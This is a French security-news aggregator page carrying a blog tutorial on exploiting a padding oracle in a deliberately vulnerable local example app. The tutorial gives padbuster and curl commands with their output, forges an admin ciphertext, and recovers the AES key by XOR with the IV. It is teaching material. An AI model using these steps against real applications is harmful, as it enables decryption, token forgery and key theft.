Contribuez à SecuObs en envoyant des bitcoins ou des dogecoins.
Nouveaux articles (fr): 1pwnthhW21zdnQ5WucjmnF3pk9puT5fDF
Amélioration du site: 1hckU85orcGCm8A9hk67391LCy4ECGJca

Contribute to SecuObs by sending bitcoins or dogecoins.

Chercher :
Newsletter :  


Revues :
- Presse
- Presse FR
- Vidéos
- Twitter
- Secuobs





Sommaires :
- Tendances
- Failles
- Virus
- Concours
- Reportages
- Acteurs
- Outils
- Breves
- Infrastructures
- Livres
- Tutoriels
- Interviews
- Podcasts
- Communiques
- USBsploit
- Commentaires


Revue Presse:
- Tous
- Francophone
- Par mot clé
- Par site
- Le tagwall


Top bi-hebdo:
- Ensemble
- Articles
- Revue
- Videos
- Twitter
- Auteurs


Articles :
- Par mot clé
- Par auteur
- Par organisme
- Le tagwall


Videos :
- Toutes
- Par mot clé
- Par site
- Le tagwall


Twitter :
- Tous
- Par mot clé
- Par compte
- Le tagwall


Commentaires :
- Breves
- Virus
- Failles
- Outils
- Tutoriels
- Tendances
- Acteurs
- Reportages
- Infrastructures
- Interviews
- Concours
- Livres
- Communiques


RSS/XML :
- Articles
- Commentaires
- Revue
- Revue FR
- Videos
- Twitter


RSS SecuObs :
- sécurité
- exploit
- windows
- attaque
- outil
- microsoft


RSS Revue :
- security
- microsoft
- windows
- hacker
- attack
- network


RSS Videos :
- curit
- security
- biomet
- metasploit
- biometric
- cking


RSS Twitter :
- security
- linux
- botnet
- attack
- metasploit
- cisco


RSS Comments :
- Breves
- Virus
- Failles
- Outils
- Tutoriels
- Tendances
- Acteurs
- Reportages
- Infrastructures
- Interviews
- Concours
- Livres
- Communiques


RSS OPML :
- Français
- International











Revue de presse francophone :
- Appaloosa AppDome nouent un partenariat pour accompagner les entreprises dans le déploiement et la protection des applications mobiles
- D-Link offre une avec un routeur VPN sans fil AC
- 19 mai Paris Petit-Déjeuner Coreye Développer son business à l'abri des cyberattaques
- POYNTING PRESENTE LA NOUVELLE ANTENNE OMNI-291, SPECIALE MILIEU MARITIME, CÔTIER ET MILIEU HUMIDE
- Flexera Software Les utilisateurs français de PC progressent dans l'application de correctifs logiciels, mais des défis de tailles subsistent
- Riverbed lance SD-WAN basé sur le cloud
- Fujitsu multi-récompensé VMware lui décerne plusieurs Partner Innovation Awards à l'occasion du Partner Leadership Summit
- Zscaler Private Access sécuriser l'accès à distance en supprimant les risques inhérents aux réseaux privés virtuels
- QNAP annonce la sortie de QTS 4.2.1
- Une enquête réalisée par la société de cyber sécurité F-Secure a décelé des milliers de vulnérabilités graves, potentiellement utilisables par des cyber criminels pour infiltrer l'infrastru
- Trouver le juste équilibre entre une infrastructure dédiée et cloud le dilemme de la distribution numérique
- 3 juin - Fleurance - Cybersécurité Territoires
- Cyber-assurances Seules 40 pourcents des entreprises françaises sont couvertes contre les violations de sécurité et les pertes de données
- Des étudiants de l'ESIEA inventent CheckMyHTTPS un logiciel qui vérifie que vos connexions WEB sécurisées ne sont pas interceptées
- Les produits OmniSwitch d'Alcatel-Lucent Enterprise ALE gagnent en sécurité pour lutter contre les cyber-attaques modernes

Dernier articles de SecuObs :
- DIP, solution de partage d'informations automatisée
- Sqreen, protection applicative intelligente de nouvelle génération
- Renaud Bidou (Deny All): "L'innovation dans le domaine des WAFs s'oriente vers plus de bon sens et d'intelligence, plus de flexibilité et plus d'ergonomie"
- Mises à jour en perspective pour le système Vigik
- Les russes ont-ils pwn le système AEGIS ?
- Le ministère de l'intérieur censure une conférence au Canada
- Saut d'air gap, audit de firmware et (in)sécurité mobile au programme de Cansecwest 2014
- GCHQ: Le JTRIG torpille Anonymous qui torpille le JTRIG (ou pas)
- #FIC2014: Entrée en territoire inconnu
- Le Sénat investit dans les monnaies virtuelles

Revue de presse internationale :
- VEHICLE CYBERSECURITY DOT and Industry Have Efforts Under Way, but DOT Needs to Define Its Role in Responding to a Real-world Attack
- Demand letter served on poll body over disastrous Comeleak breach
- The Minimin Aims To Be The Simplest Theremin
- Hacking group PLATINUM used Windows own patching system against it
- Hacker With Victims in 100 Nations Gets 7 Years in Prison
- HPR2018 How to make Komboucha Tea
- Circuit Bender Artist bends Fresnel Lens for Art
- FBI Director Suggests iPhone Hacking Method May Remain Secret
- 2016 Hack Miami Conference May 13-15, 2016
- 8-bit Video Wall Made From 160 Gaming Keyboards
- In An Era Of Decline, News Sites Can t Afford Poor Web Performance
- BeautifulPeople.com experiences data breach 1m affected
- Swedish Air Space Infringed, Aircraft Not Required
- Why cybercriminals attack healthcare more than any other industry
- Setting the Benchmark in the Network Security Forensics Industry

Annuaire des videos
- FUZZING ON LINE PART THREE
- Official Maltego tutorial 5 Writing your own transforms
- Official Maltego tutorial 6 Integrating with SQL DBs
- Official Maltego tutorial 3 Importing CSVs spreadsheets
- install zeus botnet
- Eloy Magalhaes
- Official Maltego tutorial 1 Google s websites
- Official Maltego tutorial 4 Social Networks
- Blind String SQL Injection
- backdoor linux root from r57 php shell VPS khg crew redc00de
- How To Attaque Pc With Back Track 5 In Arabique
- RSA Todd Schomburg talks about Roundup Ready lines available in 2013
- Nessus Diagnostics Troubleshooting
- Panda Security Vidcast Panda GateDefender Performa Parte 2 de 2
- MultiPyInjector Shellcode Injection

Revue Twitter
- RT @fpalumbo: Cisco consistently leading the way ? buys vCider to boost its distributed cloud vision #CiscoONE
- @mckeay Looks odd... not much to go on (prob some slideshow/vid app under Linux)
- [SuggestedReading] Using the HTML5 Fullscreen API for Phishing Attacks
- RT @BrianHonan: Our problems are not technical but cultural. OWASP top 10 has not changed over the years @joshcorman #RSAC
- RT @mikko: Wow. Apple kernels actually have a function called PE_i_can_has_debugger:
- [Blog Spam] Metasploit and PowerShell payloads
- PinkiePie Strikes Again, Compromises Google Chrome in Pwnium Contest at Hack in the Box: For the second time thi...
- @mikko @fslabs y'all wldn't happen to have lat/long data sets for other botnets, wld you? Doing some research (free/open info rls when done)
- RT @nickhacks: Want to crash a remote host running Snow Leopard? Just use: nmap -P0 -6 --script=targets-ipv6-multicast-mld #wishiwaskidding
- An inexpensive proxy service called is actually a front for #malware distribution -

Mini-Tagwall
Revue de presse : security, microsoft, windows, hacker, attack, network, vulnerability, google, exploit, malware, internet, remote, iphone

+ de mots clés pour la revue de presse

Annuaires des videos : curit, security, biomet, metasploit, biometric, cking, password, windows, botnet, defcon, tutorial, crypt, xploit

+ de mots clés pour les videos

Revue Twitter : security, linux, botnet, attack, metasploit, cisco, defcon, phish, exploit, google, inject, server, firewall

+ de mots clés pour la revue Twitter

Top bi-hebdo des articles de SecuObs
- [Ettercap – Partie 2] Ettercap par l'exemple - Man In the Middle et SSL sniffing
- [Infratech - release] version 0.6 de Bluetooth Stack Smasher
- [IDS Snort Windows – Partie 2] Installation et configuration
- [Infratech - vulnérabilité] Nouvelle version 0.8 de Bluetooth Stack Smasher
- Mises à jour en perspective pour le système Vigik
- USBDumper 2 nouvelle version nouvelles fonctions !
- EFIPW récupère automatiquement le mot de passe BIOS EFI des Macbook Pro avec processeurs Intel
- La sécurité des clés USB mise à mal par USBDUMPER
- Une faille critique de Firefox expose les utilisateurs de Tor Browser Bundle
- Installation sécurisée d'Apache Openssl, Php4, Mysql, Mod_ssl, Mod_rewrite, Mod_perl , Mod_security

Top bi-hebdo de la revue de presse
- StackScrambler and the Tale of a Packet Parsing Bug

Top bi-hebdo de l'annuaire des videos
- DC++ Botnet. How To DDos A Hub With Fake IPs.
- Comment creer un server botnet!!!!(Réseau de pc zombies)
- Defcon 14 Hard Drive Recovery Part 3

Top bi-hebdo de la revue Twitter
- RT @secureideas: I believe that all the XSS flaws announced are fixed in CVS. Will test again tomorrow if so, release 1.4.3. #BASESnort
- Currently, we do not support 100% of the advanced PDF features found in Adobe Reader... At least that's a good idea.
- VPN (google): German Foreign Office Selects Orange Business for Terrestrial Wide: Full
- @DisK0nn3cT Not really, mostly permission issues/info leak...they've had a couple of XSS vulns but nothing direct.
- Swatting phreaker swatted and heading to jail: A 19-year-old American has been sentenced to eleven years in pris..
- RT @fjserna You are not a true hacker if the calc.exe payload is not the scientific one... infosuck.org/0x0035.png

Top des articles les plus commentés
- [Metasploit 2.x – Partie 1] Introduction et présentation
- Microsoft !Exploitable un nouvel outil gratuit pour aider les développeurs à évaluer automatiquement les risques
- Webshag, un outil d'audit de serveur web
- Les navigateurs internet, des mini-systèmes d’exploitation hors de contrôle ?
- Yellowsn0w un utilitaire de déblocage SIM pour le firmware 2.2 des Iphone 3G
- CAINE un Live[CD|USB] pour faciliter la recherche légale de preuves numériques de compromission
- Nessus 4.0 placé sous le signe de la performance, de l'unification et de la personnalisation
- [Renforcement des fonctions de sécurité du noyau Linux – Partie 1] Présentation
- [IDS Snort Windows – Partie 1] Introduction aux IDS et à SNORT
- Origami pour forger, analyser et manipuler des fichiers PDF malicieux

Exploiting Padding Oracle to Gain Encryption Keys

Si vous voulez bloquer ce service sur vos fils RSS
Si vous voulez nous contacter ou nous proposer un fil RSS

Menu > Articles de la revue de presse : - l'ensemble [tous | francophone] - par mots clé [tous] - par site [tous] - le tagwall [voir] - Top bi-hebdo de la revue de presse [Voir]

S'abonner au fil RSS global de la revue de presse



Exploiting Padding Oracle to Gain Encryption Keys

Par Blog
Le [2015-10-26] à 17:02:58



Présentation : I wanted to share some practical tricks on exploiting a padding oracle vulnerability. This type of vulnerability allows an attacker to decrypt ciphertexts and encrypt plaintexts. More information on what the padding oracle attack is and how it works can be found in a previous blog post by Brian Holyfield. The example app used for this blog post has additional flaws that allow recovery of the encryption key. We will use padbuster to run a padding oracle attack and see how the python-paddingoracle library can be used to create a custom exploit tool. You can find the vulnerable example app on GitHub. The application decrypts a request parameter named cipher . curl http 127.0.0.1 5000 echo cipher 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6 decrypted ApplicationUsername user Password sesame We know that AES-128 with PKCS 5 padding and the same static password for both the encryption key and initialisation vector are used to encrypt and decrypt this value. There is no HMAC or other message integrity check. Simple padding oracle scenario ------------------------------ The keywords PKCS 5 and no MAC indicate that the application might be vulnerable to a padding oracle attack. By flipping bits in the first block we can verify that there are no syntax checks performed on the decrypted data. And we can see that the app happily processes the garbage data in the first block curl http 127.0.0.1 5000 echo cipher ff4b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6 decrypted 7N d N me user Password sesame The next step is to check how the application reacts to incorrect padding. We can do this by flipping bits in the last block. It appears that the application returns decryption error when the padding is incorrect. curl http 127.0.0.1 5000 echo cipher 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4ff decryption error Now that we know that the application is vulnerable we can run padbuster to exploit it. I highly recommend reading Brian s padbuster blog post and looking at the help output, but for convenience you can find the padbuster synopsis below padbuster URL EncryptedSample BlockSize options In this scenario running padbuster is straightforward The block size is 16 16 bytes 128 bits and the only additional switch we need for now is -encoding 1 lower case HEX . padbuster http 127.0.0.1 5000 echo cipher 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6 16 -encoding 1 ------------------------------------------- PadBuster - v0.3.3 Brian Holyfield - Gotham Digital Science labs gdssecurity.com ------------------------------------------- INFO The original request returned the following Status 200 Location N A Content Length 51 INFO Starting PadBuster Decrypt Mode Starting Block 1 of 2 INFO No error string was provided...starting response analysis Response Analysis Complete The following response signatures were returned ------------------------------------------------------- ID Freq Status Length Location ------------------------------------------------------- 1 1 200 42 N A 2 255 200 16 N A ------------------------------------------------------- Enter an ID that matches the error condition NOTE The ID marked with is recommended 2 Continuing test with selection 2 Success 24 256 Byte 16 Success 165 256 Byte 15 snip Block 1 Results Cipher Text HEX c59ca16e1f3645ef53cc6a4d9d87308e Intermediate Bytes HEX 2926e03c56d32edd338ffa923df059e9 Plain Text ame user Passwor Starting Block 2 of 2 snip ------------------------------------------------------- Finished Decrypted value ASCII ame user Password sesame snip Note that it was not possible possible to recover the first block. Looking at the block diagram for CBC decryption below helps to understand why. By leveraging the padding oracle it would be possible to obtain the intermediate value after decrypting the first block -noiv option in padbuster . However, we don t know the IV to calculate the plaintext for the first block. Attentive readers might have realised already that knowing the plaintext allows us to calculate the IV, which is used as the encryption key. This is explained in more detail further down. To save time we could also specify the error string for invalid padding -error decryption error A more complicated example -------------------------- Now let s look at a slightly more complicated scenario The application does not return a dedicated error message for incorrect padding. Instead, the application parses the fields in the decrypted data and returns an error message if a required field is missing. In this case the required fields are ApplicationUsername and Password . Here is an example for a successful request The cipher parameter decrypts successfully and contains all required fields. The application responds with the decrypted value and all parsed fields. curl http 127.0.0.1 5000 check cipher 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6 decrypted ApplicationUsername user Password sesame parsed 'Password' 'sesame' , 'ApplicationUsername' 'user' If we send a request that only contains a Password field the application responds with ApplicationUsername missing . curl http 127.0.0.1 5000 echo cipher 38d057b13b8aef21dbf9b43b66a6d89a decrypted Password sesame curl http 127.0.0.1 5000 check cipher 38d057b13b8aef21dbf9b43b66a6d89a ApplicationUsername missing In the case where the crypt value only contains an ApplicationUsername field the application responds with Password missing . curl http 127.0.0.1 5000 echo cipher 484b850123a04baf15df9be14e87369b309efe9c9fb71ea283dd42e445cc7b54 decrypted ApplicationUsername user curl http 127.0.0.1 5000 check cipher 484b850123a04baf15df9be14e87369b309efe9c9fb71ea283dd42e445cc7b54 Password missing When tampering with the last block the padding becomes invalid. As a result the application is not able to decrypt the cipher parameter and returns ApplicationUsername missing . curl http 127.0.0.1 5000 check cipher 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4ff ApplicationUsername missing Unfortunately, launching padbuster with minimal options fails When it attempts to brute force the first block it always encounters the same error message ApplicationUsername missing . padbuster http 127.0.0.1 5000 check cipher 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6 16 -encoding 1 snip ERROR All of the responses were identical. Double check the Block Size and try again. But we can still leverage the order the application checks for the fields It also returns ApplicationUsername missing if the padding is invalid. We only need to prepend encrypted data that contains the ApplicationUsername field If the padding is correct then we get a different response. This way we can decrypt all but the first block. In the example below the first two blocks of the ciphertext are prepended when performing the padding oracle attack. This is because the ApplicationUsername field spans over two blocks see Appendix . padbuster http 127.0.0.1 5000 check cipher 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6 16 -encoding 1 -error ApplicationUsername missing -prefix 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e ------------------------------------------- PadBuster - v0.3.3 Brian Holyfield - Gotham Digital Science labs gdssecurity.com ------------------------------------------- INFO The original request returned the following Status 200 Location N A Content Length 117 INFO Starting PadBuster Decrypt Mode Starting Block 1 of 2 snip ------------------------------------------------------- Finished Decrypted value ASCII ame user Password sesame snip Encrypt ------- We can also encrypt arbitrary content Please refer to the original padbuster blog post on how this works behind the scenes . The only restriction is that it is not possible to control the first block. This is due to the static IV being used. The application would still accept the resulting ciphertext if we terminate the uncontrollable data of the first block with bla . Note that the crafted ciphertext does not have to have the same length as the original one. padbuster http 127.0.0.1 5000 check cipher 484b850123a04baf15df9be14e87369b 484b850123a04baf15df9be14e87369b 16 -encoding 1 -error ApplicationUsername missing -prefix 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e -plaintext bla ApplicationUsername admin Password admin snip Encrypted value is 753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57a16f73531d76ada52422e176ea07e45384df69d00000000000000000000000000000000 ------------------------------------------------------- curl http 127.0.0.1 5000 check cipher 753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57a16f73531d76ada52422e176ea07e45384df69d00000000000000000000000000000000 decrypted c I B C bla ApplicationUsername admin Password admin parsed ' xf7 xc1_c x9e x1cI x9aB xccC x10 xac x07 x90 x97' 'bla' , 'Password' 'admin' , 'ApplicationUsername' 'admin' Obtaining the key ----------------- Being able to decrypt and craft the cipher parameter would be bad enough, but setting the IV to the encryption key introduces another vulnerability The IV and therefore the encryption key is the plain text of the first block XORed with the intermediate value from decrypting the first block see block diagram below . We can assume that an attacker could guess the plain text based on the specification, and the decrypted part from the padding oracle attack or messages displayed by the application. Using padbuster s -noiv switch we are able to get the intermediate value after decrypting the first block padbuster http 127.0.0.1 5000 check cipher 484b850123a04baf15df9be14e87369b 484b850123a04baf15df9be14e87369b 16 -encoding 1 -error ApplicationUsername missing -prefix 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e -noiv snip Block 1 Results Cipher Text HEX 484b850123a04baf15df9be14e87369b Intermediate Bytes HEX 7141425f5d56574351562f1730213728 snip Once we have obtained the intermediate value we can XOR it with the plaintext to obtain the encryption key 0x4170706c69636174696f6e557365726e plaintext ApplicationUsern XOR 0x7141425f5d56574351562f1730213728 intermediate value 0x30313233343536373839414243444546 key 0123456789ABCDEF Custom Python script -------------------- The python-paddingoracle library allows us to create a custom exploit tool for situations where padbuster is not flexible enough. For example, when the target application uses CSRF tokens or when testing web services. Two Python scripts that exploit our example web application can be found on GitHub. The first script http-simple.py is targeted for the straightforward scenario. Exploiting the more advanced scenario, which requires a prefixed ciphertext has been implemented in http-advanced.py . This script also demonstrates how to encrypt a plaintext and calculate the key. A few additional notes ---------------------- The Bit flipper payload in the Intruder module of the Burp Proxy is great to see how an application handles encrypted values. You should get suspicious if it accepts some tampered payloads or returns different error messages. This would usually happen if there is no MAC. Encryption without MAC should be considered a finding regardless of any padding oracle. Because of the way CBC works we can always tamper with encrypted values. Prepending another ciphertext in padbuster can come in handy in other situations as well The application could have an id within the encrypted fields to detect tampering similar to a nonce . By prepending a mangled block we can stop the application from recognising the id for the current cipher field. For the sake of convenience the sample app also has a feature to encrypt arbitrary data curl http 127.0.0.1 5000 encrypt plain ApplicationUsernamepourcents3Duserpourcents26Passwordpourcents3Dsesame crypted 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6 Appendix Ciphertext blocks --------------------------- Block 1 484b850123a04baf15df9be14e87369b ApplicationUsern Block 2 c59ca16e1f3645ef53cc6a4d9d87308e ame user Passwor Block 3 d2382fb0a54f3a2954bfebe0a04dd4d6 d sesame padding

Les mots clés de la revue de presse pour cet article : oracle
Les videos sur SecuObs pour les mots clés : oracle
Les mots clés pour les articles publiés sur SecuObs : oracle
Les éléments de la revue Twitter pour les mots clé : oracle



AddThis Social Bookmark Widget



Les derniers articles du site "Blog" :

- Malware Trends - Q1 2016
- Simplified DDoS Testing at Scale
- BreakingPoint Captures Real-World 2015 Application Trends
- ATI Minecraft
- Benchmarking Open Source SDN Controllers Are They Ready for Carrier-Grade Services
- The End of Days is Here for Network Blind Spots
- Ixia ATI Research Center Finds Multiple Security Vulnerabilities in IBM Tivoli Storage Manager FastBack
- Introducing PSAttack
- Mobile World Congress 2016 Recap
- Ixia Smarter Security at RSA 2016




S'abonner au fil RSS global de la revue de presse

Menu > Articles de la revue de presse : - l'ensemble [tous | francophone] - par mots clé [tous] - par site [tous] - le tagwall [voir] - Top bi-hebdo de la revue de presse [Voir]



Si vous voulez bloquer ce service sur vos fils RSS :
- avec iptables "iptables -A INPUT -s 88.190.17.190 --dport 80 -j DROP"
- avec ipfw et wipfw "ipfw add deny from 88.190.17.190 to any 80"
- Nous contacter par mail




SecuToolBox :

Mini-Tagwall des articles publiés sur SecuObs :

Mini-Tagwall de l'annuaire video :

Mini-Tagwall des articles de la revue de presse :

Mini-Tagwall des Tweets de la revue Twitter :